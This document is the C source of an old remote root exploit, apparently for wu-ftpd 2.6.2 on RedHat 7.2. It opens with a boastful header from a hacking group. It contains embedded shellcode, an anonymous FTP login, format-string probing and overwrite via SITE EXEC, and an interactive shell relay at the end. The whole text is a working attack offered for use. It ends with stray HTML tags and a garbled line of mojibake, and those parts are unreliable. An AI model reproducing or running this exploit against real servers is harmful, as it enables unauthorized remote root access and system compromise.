/* * 0x09wule.c - linux wu-ftpd-2.6.2(1) remote root exploit * Coded By Sunnyholer` 2002 * * Private 0dd code, do not distribute it * This exploit is tested on RedHat 7.2 running on wu-ftpd-2.6.2(1), default install * * Cause wu-ftpd is a bad ftpd, dont use it.. hack it! * Special thanks to: [Evil] & h4xSeed * * 0x09 Security groups, borned on 01 november 2002 * * FSCK Your mind * * ## Suplied by D3m3nt3 ## ** NOT TESTED ** * */ #include #include #include #include #include void logo() { printf("0x09wule.c - x86/linux wu-ftpd-2.6.2(1) remote root xploit\n"); printf(" exploit for redhat 7.2 wu-2.6.2(1)\n\n"); } char linuxcode[]= /* chroot() shellcode */ "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb" "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31" "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27" "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31" "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d" "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46" "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8" "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0" "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff" "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31"; main(int argc,char *argv[]) { char cmdbuf[8192]; char cbuf[1024]; char *t; char nop[400]; int pip,i,a=22,st=0; struct sockaddr_in sck; struct hostent *hp; long inet; int port=21; fd_set fds; unsigned int aa; unsigned long reta,retb,tmp,tmp2,retz,ist=0; int ret; int add=5; memset(cmdbuf,0x0,sizeof(cmdbuf)); memset(cbuf,0x0,sizeof(cbuf)); memset(nop,0x0,sizeof(nop)); logo(); if (argc<2) { fprintf(stderr,"Usage: %s [ip] [ret_location]\n",argv[0]); fprintf(stderr,"[ret_location] is optional parametr - it can be two two things : 1) In format 0xbffffff 2) And in 4,5,6,7,8.. - this supply where exploit can find ret_location address - standard its 5 !! Use this parametr only if default settings fail\n",argv[0]); exit(-1); } if (argc>2) { reta=strtoul(argv[2],argv[2]+10,16); fprintf(stderr,"++ Using ret address: %x \n",reta); ist=1; if (reta<20) { ist=0;add=reta;} } pip=socket(PF_INET,SOCK_STREAM,0); if (!pip) { perror("socket()"); exit(-1); } inet=inet_addr(argv[1]); if (inet==-1) { if (hp=gethostbyname(argv[1])) memcpy(&inet,hp->h_addr,4); else inet=-1; if (inet==-1) { fprintf(stderr,"Cant resolv %s!! \n",argv[1]); exit(-1); } } sck.sin_family=PF_INET; sck.sin_port=htons(port); sck.sin_addr.s_addr=inet; if (connect(pip,(struct sockaddr *)&sck,sizeof(sck))<0) { perror("Connect() "); exit(-1); } read(pip,cbuf,1023); fprintf(stderr,"Connected to: %s \n",argv[1]); fprintf(stderr,"Banner: %s \n",cbuf); // Connected ,sending user info strcpy(cmdbuf,"user ftp\n");write(pip,cmdbuf,strlen(cmdbuf)); memset(nop,0x90,sizeof(nop)-strlen(linuxcode)-10); strcat(nop,linuxcode); memset(cmdbuf,0x0,sizeof(cmdbuf)); sprintf(cmdbuf,"pass %s\n",nop);write(pip,cmdbuf,strlen(cmdbuf)); sleep(5); read(pip,cmdbuf,sizeof(cmdbuf)-1); memset(cmdbuf,0x0,sizeof(cmdbuf)); if (!strncmp(cmdbuf,"530",3)) { printf("loggin incorrect : %s \n",cmdbuf); exit(-1); } fprintf(stderr,"Logged in.. \n"); fprintf(stderr,"+ Finding ret addresses \n"); if (ist==0) { // reta next: memset(cmdbuf,0x0,sizeof(cmdbuf));sprintf(cmdbuf,"SITE EXEC %%%d$p\n",add); write(pip,cmdbuf,strlen(cmdbuf)); memset(cmdbuf,0x0,sizeof(cmdbuf));read(pip,cmdbuf,sizeof(cmdbuf)-1); if (!strncmp(cmdbuf+6,"$p",2)) { fprintf(stderr,"Wuftpd is not vulnerable : %s \n",cmdbuf); exit(-1); } if (strstr(cmdbuf,"??")) { fprintf(stderr,"Wuftpd is not vulnerable : %s \n",cmdbuf); exit(-1); } else { fprintf(stderr,"Wuftpd is vulnerable : %s \n",cmdbuf); } reta=strtoul(strstr(cmdbuf,"-")+1,strstr(cmdbuf,"-")+11,16); } if ((reta&0xff)==0) { add++;goto next;} //retb st=0; a=60; while (a<=100) { a++; memset(cmdbuf,0x0,sizeof(cmdbuf)); sprintf(cmdbuf,"SITE EXEC aaa|%%%d$p\n",a); write(pip,cmdbuf,strlen(cmdbuf)); memset(cmdbuf,0x0,sizeof(cmdbuf));read(pip,cmdbuf,sizeof(cmdbuf)-1); usleep(1000); t=(char *)strstr(cmdbuf,"|"); tmp=0; if (t!=NULL) tmp=strtoul(t+1,t+11,16); if (tmp!=0) { tmp2=tmp; tmp=(tmp>>16); if (tmp==0x807) { retb=tmp2; fprintf(stderr,"Cached with addres : 0x%x\n",retb);st=1; break; } if (tmp==0x806) { retb=tmp2; fprintf(stderr,"Cached with addres : 0x%x\n",retb);st=1; break; } } } if (st==0) { fprintf(stderr," Sorry couldnt find proctitle address - fix me!!\n"); exit(-1); } memset(cmdbuf,0x0,sizeof(cmdbuf)); printf("+ Finding correct offsets \n"); fprintf(stderr,"+ Real ret addr : 0x %x \n",reta-0x58); if (ist==0) reta=reta-0x58; st=0; a=100; while (a<=320) { a++; memset(cmdbuf,0x0,sizeof(cmdbuf)); sprintf(cmdbuf,"SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c|%%%d$p\n",0x74,0xd0,0xff,0xbf,a); /* (reta & 0x000000ff),(reta & 0x0000ff00)>>8, (reta & 0x00ff0000)>>16, (reta & 0xff000000)>>24,a);*/ write(pip,cmdbuf,strlen(cmdbuf)); memset(cmdbuf,0x0,sizeof(cmdbuf));read(pip,cmdbuf,sizeof(cmdbuf)-1); #ifdef DEBUG fprintf(stderr,"Outbuf is : %s \n",cmdbuf); #endif usleep(800); t=(char *)strstr(cmdbuf,"|"); tmp=0; if (t!=NULL) tmp=strtoul(t+1,t+11,16); if (tmp!=0) { tmp2=tmp; if ((tmp==reta)||(tmp==0xbfffd074)) { fprintf(stderr,"Cached with addres : 0x%x and a = %d\n",tmp,a--);st=1; break; } } } if (st==0) { fprintf(stderr," Sorry couldnt find ret location address - fix me!!\n"); exit(-1); } //if (ist==0) reta=reta-0x58; retb=retb+100; printf("Ret location : %x \n",reta); printf("Proctitle addres : %x and %u \n",retb,retb); // now we are exploiting the bug aa=retb; tmp2=reta; memset(cmdbuf,0x0,sizeof(cmdbuf));read(pip,cmdbuf,sizeof(cmdbuf)-1); sprintf(cmdbuf,"SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c|%%%d$p\n",0x54,0xd0,0xff,0xbf,a); /*(tmp2 & 0x000000ff),(tmp2 & 0x0000ff00)>>8, (tmp2 & 0x00ff0000)>>16, (tmp2 & 0xff000000)>>24,a);*/ // fprintf(stderr,"slemy : %s \n",cmdbuf); write(pip,cmdbuf,strlen(cmdbuf)); usleep(500); memset(cmdbuf,0x0,sizeof(cmdbuf));read(pip,cmdbuf,sizeof(cmdbuf)-1); t=(char *)strstr(cmdbuf,"|"); tmp=0; if (t!=NULL) tmp=strtoul(t+1,t+11,16); if ((tmp!=0)&&(tmp!=reta)) { fprintf(stderr,"!!! Some problems with ret addres,is : 0x%x \n",tmp); //exit(-1); } else { fprintf(stderr,"!!! Goin thru with : 0x%x \n",tmp); } memset(cmdbuf,0x0,sizeof(cmdbuf)); sprintf(cmdbuf,"SITE EXEC aaaaaaaaaaaaaaaaaaaaaaaaaabbbb%c%c\xff%c%c|%%.%ud%%%d$n\n",(reta & 0x000000ff),(reta & 0x0000ff00)>>8, (reta & 0x00ff0000)>>16, (reta & 0xff000000)>>24,aa,a); write(pip,cmdbuf,strlen(cmdbuf)); memset(cmdbuf,0x0,sizeof(cmdbuf)); fprintf(stderr," Wait for a shell.....\n"); // w8 for shell while (1) { FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(pip,&fds); select(255, &fds,NULL,NULL,NULL); if (FD_ISSET(pip,&fds)) { memset(cbuf,0x0,sizeof(cbuf)); ret=read(pip,cbuf,sizeof(cbuf)-1); if (ret<=0) { printf("Connection closed - EOF \n"); exit(-1); } printf("%s",cbuf); } if (FD_ISSET(0,&fds)) { memset(cbuf,0x0,sizeof(cbuf)); read(0,cbuf,sizeof(cbuf)-1); write(pip,cbuf,strlen(cbuf)); } } close(pip); }
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>


<span id="7ztzv"></span><form id="7ztzv"></form>


<span id="7ztzv"></span>
    

      

        <address id="7ztzv"></address>
            

ÑÇÖÞÅ·ÃÀÔÚÏß